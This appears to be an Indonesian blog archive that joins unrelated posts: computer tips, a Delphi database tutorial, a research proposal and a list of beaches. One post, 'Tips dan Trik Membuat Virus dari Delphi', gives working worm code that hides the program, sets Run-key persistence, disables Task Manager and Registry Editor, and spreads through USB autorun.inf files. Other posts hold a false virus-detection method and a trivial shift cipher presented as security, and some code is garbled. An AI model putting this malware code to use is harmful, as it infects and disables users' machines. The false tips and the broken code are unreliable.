4 langkah Cek Virus Tanpa Antivirus

Kamis, 19 Januari 2012

Berikut ini adalah cara melacak apakah komputer kita terkena virus atau tidak.

1. Buka command prompt dengan cara Start -> Run -> cmd.
Secara default, lokasi akan berada di C:\Documents and settings\nama_user, untuk itu anda harus pindah terlebih dahulu ke folder system32.

2. Ketikkan "cd c:\windows\system32" (tanpa tanda petik).
Tekan enter untuk masuk ke folder system32.

3. Ketik "setup" lalu tekan enter

4. Jika muncul tampilan gambar yang didalamnya ada peringatan "Please go to the Control Panel to install and configure system components." Berarti komputer anda sehat dari virus, tetapi jika komputer anda malah hang atau restart itu berarti ada virus yang bersemayam di komputer anda.

Lantas bagaimana jika komputer terdeteksi ada virusnya? Coba baca dulu cara membasmi virus brontok , secara garis besar caranya hampir sama seperti itu. Agar pengetahuan tentang virus lebih mendalam silahkan baca juga artikel tentang karakteristik umum virus.

Dari 2 referensi artikel di atas, secara umum langkah mudah penanganan komputer yang terkena virus adalah dengan melakukan scanning system dengan antivirus update. Tapi yang perlu diingat sebelum melakukan scanning dengan antivirus ada baiknya matikan dulu system restore-nya dan akan lebih bagus lagi jika proses scanning berjalan di atas safe mode. 

Cara masuk ke safe mode->
1. Restart PC
2. Saat awal booting tekan tombol F8
3. Jika langkah nomer 3 benar, akan keluar menu pilihan untuk masuk ke safe mode. 
4. Pilih menu safe mode dan tekan enter untuk mengeksekusi
5. Tunggu hingga tampilan desktop muncul

Cara Mengembalikan File atau Folder yang Terhapus Permanen

Pernah gak temen2 secara kagak sengaja menghapus file atau folder penting secara permanen (shift+del)???coba bayangin kalau hal itu terjadi???
Tuiiiing…Tuiiiiinggg…pastiny apa lagi kalau itu file skripsweet kita (personal experience)cxixixi…serasa malaikat izrofil akan meniup sangkakala (kiamat red)…
Setelah menjelajahi bit-bit dunia maya yang tanpa batas akhirnya I can solve this problem….caranya bijimana???
WinUtilities Undelete….yups ni jawabannya


WinUtilities Undelete adalah tool recovery data yang dapat membantu kita mencari data yang terhapus secara permanen (shift+del) dan mengembalikannya ke tempat yang kita inginkan. Tool ini bisa juga untuk mengembalikan data dari storage eksternal (flashdisk) atau kartu memori kamera digital yang terformat.
Bijimana cara menggunakannya????



Cara menggunakan ini tool cukup mudah (user friendly dah). Setelah instalasi, buka aplikasinya dan klik drive dimana kita akan mencari file yang hilang di sisi sebelah kiri. Setelah tool tersebut melakukan scanning akan muncul semua file yang ada di drive tersebut beserta file-file yang sudah kita delete secara permanen. So..tinggal anda pilih file mana yang akan anda kembalikan dengan cara klik kanan file tersebut dan klik undelete.

download

Menyembunyikan file ke dalam gambar

Tutorial kali ini kita akan membahas teknik steganografi yaitu menyembunyikan sebuah file ke dalam file gambar. Teknik Steganografi ini kabarnya digunakan para teroris untuk saling berkomunikasi untuk merencanakan pengeboman gedung WTC. Dan uniknya lagi, teknik ini baru diketahui oleh FBI setelah beberapa tahun peristiwa pengeboman itu berlalu.

Sebenarnya teknik steganografi ini pernah saya posting pada tahun 2009 disini, tadi gak sengaja bongkar bongkar arsip di klikedukasi, eh ketemu lagi dengan teknik ini. Kenapa saya bahas lagi? Saya hanya ingin mencoba, apakah teknik ini masih bisa dilakukan dengan sistem operasi windows 7 atau gak. Setelah saya coba, ternyata masih bisa. Artikel ini juga sebagai penyempurna artikel sebelumnya, sebab pada tulisan yang dulu saya tidak menyertakan langkah langkahnya dengan panduan gambar. Mudah mudahan dengan adanya artikel lanjutan ini, bisa lebih mudah untuk dipahami.

Apaan tuh steganografi?



Menurut wikipedia Steganografi adalah seni dan ilmu menulis pesan tersembunyi atau menyembunyikan pesan dengan suatu cara sehingga selain si pengirim dan si penerima, tidak ada seorangpun yang mengetahui atau menyadari bahwa ada suatu pesan rahasia di dalamnya. lebih jelasnya bisa anda telusuri sendiri disini

Sederhananya steganografi merupakan teknik untuk menyembunyikan tulisan atau file ke dalam sebuah file. bingung yak?

Coba bandingkan kedua gambar ini, apakah ada perbedaannya?


Jika dilihat sepintas, kedua gambar tersebut sama persis, gak ada perbedaan sama sekali. Sekarang coba anda simpan kedua gambar tersebut ke komputer anda, kemudian bandingkan ukuran (size) kedua file gambar tersebut. Gambar sebelah kiri yang bernama klikedukasi.jpg berukuran 32,7 kb dan tidak saya manipulasi sedikitpun, sedangkan gambar sebelah kanan bernama hasil.jpg berukuran lebih besar dari gambar pertama yaitu 50,6 kb.

Anda bisa pastikan sendiri gambar di atas sama persis, yang membedakan hanya ukurannya. Kenapa bisa ukurannya berbeda? karena saya sudah menyisipkan satu buah file ke dalam gambar yang sebelah kanan.

Untuk membuktikannya gimana? Setelah anda simpan, coba anda klik kanan gambar yang bernama hasil.jpg kemudian open with winrar, atau bisa dengan cara merename nama hasil.jpg menjadi hasil.rar
Apa yang terjadi? anda akan melihat di dalam file tersebut ada file bernama logout.php. Nah loh keliatan kan ada file yang saya sisipkan. Oiya saya asumsikan di komputer anda sudah terinstall program winrar sebelumnya.

Trus bagaimana cara menyisipkan file ke dalam gambar tersebut? Sebenarnya sangat mudah, kita cukup menggunakan sedikit perintah yang ada di command prompt (CMD) windows.

Dalam uji coba kali ini saya hendak menyatukan file klikedukasi.jpg dengan file logout.php, nanti setelah disatukan akan menjadi file hasil.jpg seperti di atas.

Mari kita coba. ikuti step step berikut:

1. Buat folder bernama terserah anda, saya memberi nama folder ini steganografi letaknya di drive D:\>

2. Copy paste file gambar klikedukasi.jpg dan file php logout.php ke dalam folder tadi yang kita buat. Buatlah file steganografi.rar yang di dalamnya terdapat 2 buah file di atas. Biar lebih jelas saya kasih screenshot seperti di bawah.



3. Persiapan filenya sudah kita lakukan, kini saatnya masuk ke command prompt, buka cmd dengan cara tekan tombol window + R ketik cmd dan enter akan terbuka jendela command prompt seperti ilustrasi berikut
4. Masuk pada direktori tempat menyimpan folder steganografi tadi, saya menyimpannya di drive D, alamat lengkapnya seperti ini D:\steganografi.


:: Masuk terlebih dahulu ke drive D, kemudian pindah ke folder steganografi. Caranya ketik pada command prompt D: tekan enter
:: Kemudian pindah ke direktori steganografi dengan mengetik cd steganografi akhiri dengan enter

:: Kita sekarang telah berhasil masuk ke folder steganografi, ditandai dengan adanya tulisan D:\steganografi> di command prompt.

5. Nah sekarang saatnya kita memnyatukan dua file tadi. gimana caranya? ketik perintah berikut:
 copy /b klikedukasi.jpg+logout.php hasil.jpg 
 Akhiri dengan menekan tombol enter. Gambar di bawah ini menunjukkan perintah yang kita gunakan dari langkah nomer 4 tadi.



Daaaaaan coba cek di folder steganografi kita, jika anda berhasil maka akan ada file bernama hasil.jpg dalam folder tersebut
--- Selesai ---

Teknik di atas bisa juga anda gunakan untuk menyembunyikan banyak file dalam satu file gambar. Saya pernah membuat file sejenis ini yang di dalamnya berisi beberapa program dan beberapa folder, file gambar yang saya buat itu besarnya mencapai 76 MB.

Semoga membantu

Cara simpel Install windows 7 menggunakan flashdisk

Secara umum install windows tanpa cd/dvd atau cukup menggunakan flashdisk sudah saya jelaskan beberapa waktu yang lalu. Khusus untuk windows 7 ternyata ada cara yang cukup simple untuk melakukan instalasi melalui USB flashdisk. Yang kita butuhkan hanya flashdisk dengan kapasitas minimal 4gb dan master windows 7 saja, tanpa harus direpotkan dengan program program pendukung lain.

Cara yang akan saya jelaskan di sini hanya berlaku untuk windows 7, sedangkan windows xp membutuhkan persiapan yang lebih rumit dan memerlukan beberapa software pendukung, lebih jelasnya silahkan pelajari caranya di sini.


Berikut step step yang harus sobat klikedukasi ikuti
  1. Siapkan flashdisk yang berkapasitas 4GB, lebih dari itu lebih bagus senang
  2. Format terlebih dahulu flashdisk anda dengan format file system NTFS, lihat gambar 
  3. Siapkan dvd Instalasi windows 7, copy seluruh file yang ada pada master windows 7 ke flashdisk yang sudah kita siapkan tadi 
  4. Cari file BOOTMGR kemudian rubah namanya menjadi NTLDR. file bootmgr letaknya paling luar dalam master instalasi windows 7.
  5. Sekarang flashdisk anda sudah siap digunakan untuk melakukan install windows 7. 
  6. Oh iya jangan lupa untuk setting BIOS agar dapat booting pertama kali melalui flashdisk. untuk langkah langkahnya silahkan baca setting booting bios melalui flashdisk
Yah cukup simpel kan, intinya kita hanya perlu merename file bootmgr yang ada pada master win7 menjadi ntldr.

*Cara ini hanya berlaku untuk windows 7

Sekian, semoga bermanfaat, sampai jumpa pada tutorial klikedukasi selanjutnya mengerlingkan mata

Aplikasi Delphi Konek database layaknya php namun dengan Zeos, Mysql dan TIniFiles Ber Enkripsi

Minggu, 15 Januari 2012

Begin Di dasari oleh kebutuhan membuat Aplikasi yang berhubungan dengan konfigurasi database, hal tersebut yang mendorongku untuk membuat Aplikasi ini. hitung hitung berbagi ilmu yang mudah-mudahan berguna. Oke, kadang dalam kebutuhan tertentu kita perlu menggunakan file config seperti biasanya kalo di membuat web dengan php biasanya ada saja file config.php yang berisi konfigurasi database serta user pada database bila diterapkan dalam Delphi tentunya bisa saja karena adanya Fasilitas yang diberikan oleh Delphi yaitu Class TIniFile. Tapi kan ga lucu bila file konfigurasi tersebut terbuka tanpa ekripsi, apalagi dalam case ini kita menggunakan Komponen Zeos sebagai jembatan akses ke dalam Database MySQL yang tentunya membutuhkan parameter server,user,password, database yah ceritanya untuk security Sederhana menggunakan file konfigurasi.
Di dasari oleh kebutuhan membuat Aplikasi yang berhubungan dengan konfigurasi database, hal tersebut yang mendorongku untuk membuat Aplikasi ini. hitung hitung berbagi ilmu yang mudah-mudahan berguna.
Oke, kadang dalam kebutuhan tertentu kita perlu menggunakan file config seperti biasanya kalo di membuat web dengan php biasanya ada saja file config.php yang berisi konfigurasi database serta user pada database bila diterapkan dalam Delphi tentunya bisa saja karena adanya Fasilitas yang diberikan oleh Delphi yaitu Class TIniFile. Tapi kan ga lucu bila file konfigurasi tersebut terbuka tanpa ekripsi, apalagi dalam case ini kita menggunakan Komponen Zeos sebagai jembatan akses ke dalam Database MySQL yang tentunya membutuhkan parameter server,user,password, database yah ceritanya untuk security Sederhana menggunakan file konfigurasi.

Algoritmanya begini
1. Baca file konfigurasi.ini
2. tentukan parameter yang dibutuhkan oleh ZeosConnection untuk melakukan koneksi database parameternya yaitu : user,host,database dan password MySQL nya
3. jika berhasil konekkan databasenya

Langsung saja Buka Delphi anda dalam dalam uji coba saya menggunakan Delphi 7 tentunya tidak begitu banyak perbedaan pada delphi dengan Delphi versi atasnya. Asumsinya di dalam
Delphi kita telah terinstall Komponen Zeos kalo ga ada yah download dulu di sini
1. Buat Aplikasi baru : File -> New -> Application;
2. Agar manajemen Komponen lebih rapi tambahkan lagi Modul : File -> New -> Data Modul;
3. Ubah nama Form1 menjadi FormKontak.
4. Simpan unit1.pas dengan nama unUtama.pas dan unit2.pas dengan nama unDM.pas
5. Di dalam coding unUtama tepatnya di bawah baris implementation tambahkan uses unDM ; seperti di bawah ini
var
FormKontak: TFormKontak;
implementation
uses unDM;
{$R *.dfm}
6. Letakan Komponen ini pada Data Modul
* ZConnection ada di Tab Zeos Acces -> ubah Nama=koneksi, protocol sesuaikan dengan Veris MySQL yg kita gunakan aku menggunakan MySQL 5 property yang lainnya biarkan apa adanya
* ZQuery ada di Tab Zeos Acces -> ubah Namanya Menjadi -> qryKontak karena query itu untuk menampilkan data Kontak (sebenarnya terserah saja masalah penamaan cari yg mudah saja), Ubah property Connection menjadi koneksi
* Data Source ada di Tab Data Acces -> Nama = DSKontak, isi property DataSet ke qryKontak

untuk menampilkan data kita membutuhkan DBGrid ada di Tab Data Control kemudian letakaan Komponen DBGrid di dalam FormKontak ubah nama DBGrid1 menjadi DBGridKontak isi DataSource dengan DM.DSKontak
Ups klo begitu untuk mengisi data file konfiguras perlu ada Decripsi dong tenang aja aku juga Sertakan File untuk Membuat file konfigurasi.ini maaf bila koding nya masih berhamburan sana sini tinggal dirapikan saja misalnya file unit untuk encripsi_dekripsi di pisah jadi mudah untuk digunakan kembali tinggal kreasi kita saja terus di buat cek database konfigurasi misalnya klo tidak bisa konek jangan buat file konfigurasi.ini sekali lagi contoh ini sangat simple dan banyak celah kelemahannya masih bisa dikembangkan menggunakan Algoritma md5 misalnya harapanku yang baca bisa lebih mengembangkannya kalo aku sendiri biasanya file nya bukan lagi file.ini tapi file binary yah namanya juga belajar.
Let’s go to code

code : pascal
  1. unit unUtama;
  2. interface
  3. uses
  4. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ZConnection, Grids, DBGrids;
  5. type
  6. TFormKontak = class(TForm)
  7. DBGridKontak: TDBGrid;
  8. procedure FormCreate(Sender: TObject);
  9. private
  10. { Private declarations }
  11. public
  12. { Public declarations }
  13. end;
  14. var
  15. FormKontak: TFormKontak;
  16. implementation
  17. uses unDM;
  18. {$R *.dfm}
  19. procedure TFormKontak.FormCreate(Sender: TObject);
  20. var sql:WideString ;
  21. begin
  22. sql:= 'SELECT c.id_kontak AS id,CONCAT(c.nm_depan," ",c.nm_belakang) '
  23. 'AS "Nama Lengkap",c.alamat AS Alamat,c.email AS Email,'
  24. 'b.nm_grup AS Grup FROM kontak c '
  25. 'INNER JOIN grup b ON b.id_grup=c.id_grup';
  26. DM.isiQry(DM.qryKontak,sql);
  27. end;
  28. end.
Parsed in 0.007 seconds, using GeSHi

//Unit file Data Modul

code : pascal
  1. unit unDM;
  2. interface
  3. uses
  4. SysUtils, Classes, DB, ZAbstractRODataset, ZAbstractDataset, ZDataset,
  5. ZConnection,IniFiles,Forms,Dialogs;
  6. type
  7. TDM = class(TDataModule)
  8. koneksi: TZConnection;
  9. qryKontak: TZQuery;
  10. DSKontak: TDataSource;
  11. function KonekDB(serv,usr,pass,db:string):Boolean;
  12. procedure DataModuleCreate(Sender: TObject);
  13. private
  14. flConfig:TIniFile;
  15. function Encrypt(const s: String; CryptInt: Integer): String;
  16. function Decrypt(const s: String; CryptInt: Integer): String;
  17. { Private declarations }
  18. public
  19. procedure isiQry(qry:TZQuery;SqlStr:string);
  20. { Public declarations }
  21. end;
  22. var
  23. DM: TDM;
  24. const
  25. c1 = 52845;
  26. c2 = 22719;
  27. implementation
  28. {$R *.dfm}
  29. function TDM.Encrypt(const s: String; CryptInt: Integer): String;
  30. var
  31. i: integer;
  32. s2: string;
  33. begin
  34. if not (Length(s) = 0) then
  35. for i := 1 to Length(s) do
  36. s2 := s2 Chr(Ord(s[i]) CrypTint);
  37. Result := s2;
  38. end;
  39. function TDM.Decrypt(const s: String; CryptInt: Integer): String;
  40. var
  41. i: integer;
  42. s2: string;
  43. begin
  44. if not (Length(s) = 0) then
  45. for i := 1 to Length(s) do
  46. s2 := s2 Chr(Ord(s[i]) - cryptint);
  47. Result := s2;
  48. end;
  49. function TDM.KonekDB(serv,usr,pass,db:string):Boolean;
  50. var alm:string;
  51. begin
  52. Result := True;
  53. alm:= ExtractFilePath(Application.ExeName);
  54. flConfig := TINIFile.Create(alm '\konfigurasi.ini');
  55. try
  56. with koneksi do
  57. begin
  58. HostName:= Decrypt(flConfig.ReadString('data','host',serv),72);
  59. User := Decrypt(flConfig.ReadString('data','user',usr),72);
  60. Password := Decrypt(flConfig.ReadString('data','pass',pass),72);
  61. Database := Decrypt(flConfig.ReadString('data','db',usr),72);;
  62. Connected;
  63. end;
  64. except
  65. Application.MessageBox('Gagal Melakukan Koneksi Database','Warning');
  66. end;
  67. end;
  68. procedure TDM.isiQry(qry:TZQuery;SqlStr:string);
  69. begin
  70. with qry do
  71. begin
  72. SQL.Clear;
  73. SQL.Text:=sqlSTR;
  74. Open;
  75. end;
  76. end;
  77. procedure TDM.DataModuleCreate(Sender: TObject);
  78. begin
  79. KonekDB('localhost','root','root','fendi_db');
  80. end;
  81. end.
Parsed in 0.022 seconds, using GeSHi
Maaf penjelasannya terlalu singkat karena memang di kerjakan secara singkat saja daripada di simpan di dalam uneg-uneg ngabisin space di kepalaku aja, jadi mending di bagi-bagikan ini link downloadnya di sini nitip di web orang ya

Tips dan Trik Membuat Virus dari Delphi

Begin
Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Dan saya memuat artikel ini bukan untuk merusak, tetapi agar kita semua bisa mengetahui bagaimana virus itu beraksi, jadi kita bisa menghalangi virus yg masuk ke pc kita. Kalo setuju silakan lanjut.

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Dan saya memuat artikel ini bukan untuk merusak, tetapi agar kita semua bisa mengetahui bagaimana virus itu beraksi, jadi kita bisa menghalangi virus yg masuk ke pc kita. Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:
  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.
  • Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan: Yang udah pasti, Delphi Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam Album Yovie & Nuno dan segelas teh panas ;) Attack #1 - Menyembunyikan diri Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create: Application.ShowMainForm := False; Attack #2 - Men-copy diri ke sistem Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini: CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False); Attack #3 - Startup otomatis Windows akan menjalankan program/script yang diletakkan pada:
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
    • C:\Documents and Settings\[username]\Start Menu\Programs\Startup
    • Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.
      code : pascal
      1. uses
      2. Registry;
      3. var
      4. Reg : TRegistry;
      5. begin
      6. Reg := TRegistry.Create;
      7. Reg.RootKey := HKEY_CURRENT_USER;
      8. Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
      9. Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
      10. Reg.CloseKey;
      Parsed in 0.003 seconds, using GeSHi
      Attack #4 - Disable tools bawaan Windows Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!
      code : pascal
      1. uses
      2. Registry;
      3. var
      4. Reg : TRegistry;
      5. begin
      6. Reg := TRegistry.Create;
      7. Reg.RootKey := HKEY_CURRENT_USER;
      8. Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System',
      9. True);
      10. Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
      11. Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
      12. Reg.CloseKey;
      Parsed in 0.003 seconds, using GeSHi
      Attack #5 - Menyebarkan diri ke flashdisk Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\
      code : pascal
      1. "MsoNormal">var
      2. Atr : TextFile;
      3. begin
      4. if FileExists('G:\autorun.inf')= False and
      5. FileExists('G:\MyVirus.exe') = False then
      6. begin
      7. //virus belum men-copy dirinya, copy...
      8. CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);
      9. //tulis file autorun.inf
      10. AssignFile(Atr, 'G:\autorun.inf');
      11. ReWrite(Atr);
      12. WriteLn(Atr, '[autorun]');
      13. WriteLn(Atr, 'open=MyVirus.exe');
      14. CloseFile(Atr);
      15. end;
      16. end;
      Parsed in 0.005 seconds, using GeSHi
      Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

BERIKUT INI CONTOH PROPOSAL PENELITIAN ILMIAH

A. JUDUL PENELITIAN
Pengaruh Suku Bunga dan Nilai Tukar Rupiah Terhadap Pemberian Kredit Untuk Nasabah Bank Mandiri

B. PENDAHULUAN
Latar Belakang Masalah

Hancurnya industri keuangan global yang dipicu oleh naiknya harga minyak serta pangan dan semakin diperparah dengan terjadinya krisis keungn di Amerika Serikat telah mengakibatkan melambatnya pertumbuhan ekonomi global.

Dampak dari krisis di Amerika Serikat yang berdampak pada peningkatan inflasi di beberapa negara serta diikuti dengan kenaikan suku bunga dan nilai tukar mata uang setempat. Hal ini terjadi karena sistem keuangan suatu negara tidak bisa berdiri sendiri.Selallu terkait dengan sistem keuangan pada negara lain secara global. Hal ini lah yang mendorong penulis untuk melkukan penelitian mengenai fenomena yang sedang terjadi tersebut melalui penelitian ilmiah yang berjudul "Pengaruh Suku Bunga dan Nilai Tukar Rupiah Terhadap Pemberian Kredit Untuk Nasabah Bank Mandiri"

Pada tahun 2008, Bank Indonesia pernah melakukan penelitian terhadap dampak empiris inflasi terhadap pertumbuhan dan kualitas kredit perbankan di Indonesia. Hasil dafri penelitian menunjukkan bahwa secara signifikan inflasi mempengaruhi pertumbuhan dan kualitas kredit.

Perumusan Masalah
Dalam penelitian ilmiah ini, penulis akan mencoba merumuskan persoalan dalam bentuk beberapa pertanyaan sebagai berikut :
Bagaimana pengaruh nilai tukar Rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit di bank Mandiri?
Bagaimana pengaruh suku bunga di Indonesia, Amerika, Inggris, dan Jepang terhadap pemberian kredit di bank Mandiri?

Tujuan Penelitian
Penelitian ilmiah ini bertujuan untuk :
Mengetahui dan menganalisis pengaruh nilai tukar Rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit di bank Mandiri?
Mengetahui dan menganalisis pengaruh suku bunga di Indonesia, Amerika, Inggris, dan Jepang terhadap pemberian kredit di bank Mandiri?


Kegunaan Penelitian
Penelitian ilmiah yang akan dilakukan penulis ini mudah-mudahan dapat bermanfaat bagi penulis sendiri maupun pihak-pihak lain yang berkepentingan.
1. Manfaat akademis
Penelitian yang sangat berhubungan dengan manajemen dana bank, manajemen perkreditan, serta keuangan internasional diharapkan dapat lebih dipahami oleh pihak yang berkepentingan
2. manfaat dalam implementasi
Penelitian ini difokuskan pada bank Mandiri sebagai objek penelitian sehingga diharapkan hasil penelitian ini dapat digunakan sebagai pertimbangan dalam pengambilan kebijakan dan keputusan.

Batasan Masalah
Untuk menghindari melebarnya topik yang akan diteliti, maka penulis membatasi permasalahan yang akan diteliti sebagai berikut :
1.   Penelitian hanya akan menggunakan aktiva pada bank Mandiri
2. Aktiva sutu bank terdiri dari banyak pos, dan penulis hanya membatasi untuk menggunakan pos-pos  yang sesuai dengan skala prioritas penggunaan dana, yaitu :
kredit untuk nasabah; terdiri dari kredit yang diberikan
investasi untuk pendapatan; terdiri dari penyertaan.
3. Dalam penelitian ini penulis hanya membatasi penggunaan data suku bunga, inflasi, serta kurs Rupiah terhadap negara Amerika, Inggris, dan jepang
4. Alat bantu yang digunakan untuk menganalisa data statistik agar dapat diolah, ditampilkan, dan dimanipulasi sehingga dapat menyajikan suatu informasi dalam penelitian ini menggunakan software SPSS


C. TINJAUAN PUSTAKA
Neraca Bank
Menurut Soedijono pada kuliah Institusi Depositori dan Pasar Modal, Neraca sebuah bank dapat dibagi menjadi dua bagian, yaitu aktiva dan pasiva. Selanjutnya pasive sebuah bank terdiri dari utang dan modal.

Inflasi
menurut www.Organisasi.org , inflasi adalah suatu keadaan dimana harga barang secara umum mengalami kenaikn dan berlangsung dalam waktu yang lama dan terus menerus

Suku Bunga
menurut John Maynard keynes, bahwa suku bunga ditentukan oleh penawaran dan permintaan terhadap uang.


D. PERUMUSAN HIPOTESA
Hipotesa yang akan dicoba untuk dirumuskan berdasarkan kerangka pemikiran diatas adalah :
H01: Tidak ada pengaruh nilai tukar rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit untuk nasabah bank Mandiri
H02: Tidak ada pengaruh suku bunga Indonesia , Amerika, Inggris, dan Jepang terhadap pemberian kredit untuk nasabah bank mandiri.


E. METODOLOGI PENELITIAN
Data Penelitian
1. Sumber data
data diperoleh dari Laporan tahunan Bank Indonesia dan Laporan keuangan Publikasi Triwulan Neraca PT. Bank Mandiri (Persero), Tbk
2. jenis Data
a. ativa bank mandiri
aktiva bank mandiri yang terdiri dari :
kredit untuk nasabah, terdiri dari kredit yang diberikan
investasi untuk pendapatan, terdiri dari penyertaan.
b. kurs Rupiah terhadap USD, GBP, dan JPY
c. Suku bunga inflasi di Indonesia, Amerika, Inggris, dan jepang
3. Tipe Data
data yang diteliti adalah data sekunder yang diterbitkan oleh bank Indonesia dalam bentuk buletin

Objek Penelitian
Objek penelitian adalah bank Mandiri

Periode Penelitian
data yang digunakan merupakan data triwulan dari triwulan IV 2000 sampai dengan triwulan II 2008

Alat Yang Digunakan
Alat bantu yang digunakan dalam penelitian ilmiah ini adalah software SPSS

Model Analisis
Model analisis yang digunakan dalam penelitian ini adalah analisis regresi linier dengan metode kuadrat terkecil


F. RENCANA BIAYA PENELITIAN
Penelitian ini merupakan penelitian ilmiah untuk memenuhi salah satu syarat memperoleh gelar sarjana, maka semua biaya penelitian ini akan ditanggung oleh penulis


G. JADWAL PENELITIAN
Minggu I : Persiapan
Minggu II - IV : pengumpulan dan analisis data
Minggu V - IX : penyusuna laporan
Minggu X-XII : laporan akhir

Inilah 5 Wisata Pantai Indah di Indonesia


Indonesia memiliki banyak sekali obyek Wisata Pantai. Dari sekian banyak pantai di Indonesia, ada 5 pantai yang cukup terkenal dan dikatakan sebagai Pantai Indah di Indonesia.

Pantai Parangtritis - Yogyakarta
Parangtritis, adalah sebuah tempat pariwisata berupa pantai pesisir Samudra Hindia yang terletak kurang lebih 25 kilometer sebelah selatan kota Yogyakarta.Parangtritis merupakan objek wisata yang cukup terkenal di yogyakarta selain objek pantai lainnya seperti Samas, Baron, Kukup Krakal dan Pantai Glagah. Parangtritis mempunyai keunikan pemandangan yang tidak terdapat pada objek wisata lainnya yaitu selain ombak yang besar juga adanya gunung - gunung pasir yang tinggi di sekitar pantai.
[Image: pantai-parangtritis.jpg]

Pantai Senggigi - Lombok
Pantai Senggigi adalah tempat pariwisata yang terkenal di Lombok. Letaknya di sebelah barat pesisir Pulau Lombok. Pesisir pantainya masih asri, walaupun masih ada sampah dedaunan yang masih berserakan karena jarang dibersihkan. Pemandangan bawah lautnya sangat indah, dan wisatawan bisa melakukan snorkling sepuasnya karena ombaknya tidak terlalu besar.
[Image: pantai-senggigi-beach-3.jpg]

Pantai Kuta - Bali
Pantai Kuta adalah sebuah tempat pariwisata yang terletak di sebelah selatan Denpasar, ibu kota Bali, Indonesia. Kuta terletak di Kabupaten Badung. Daerah ini merupakan sebuah tujuan wisata turis mancanegara, dan telah menjadi objek wisata andalan Pulau Bali sejak awal 70-an. Pantai Kuta sering pula disebut sebagai pantai matahari terbenam (sunset beach).
[Image: pantai-kuta-2.jpg]

Pantai Indah Pangandaran - Ciamis
Pantai Indah Pangandaran adalah sebuah pantai yang terletak di pantai selatan serta menurut AsiaRooms merupakan pantai terbaik di Pulau Jawa merupakan objek wisata pantai di Jawa Barat. Pantai ini terletak di Desa Pananjung, Kecamatan Pangandaran dengan jarak ± 92 km arah selatan kota Ciamis.
[Image: pangandaran%2B1.jpg]

Pantai Parai Tenggiri - Bangka Belitung
Pantai Parai Tenggiri adalah pantai yang terletak di kawasan daerah Matras, Sungailiat, Bangka Belitung. Pantai ini sering dijadikan obyek wisata dan terkenal dengan batuan granit berbagai ukuran. Fasilitas yang tersedia antara lain hotel, outbound serta permainan olah raga air.
[Image: pantai+parai+tenggiri.jpg]


Selamat berwisata ... tkp motor tkp express

Membuat Popup Menu di Java

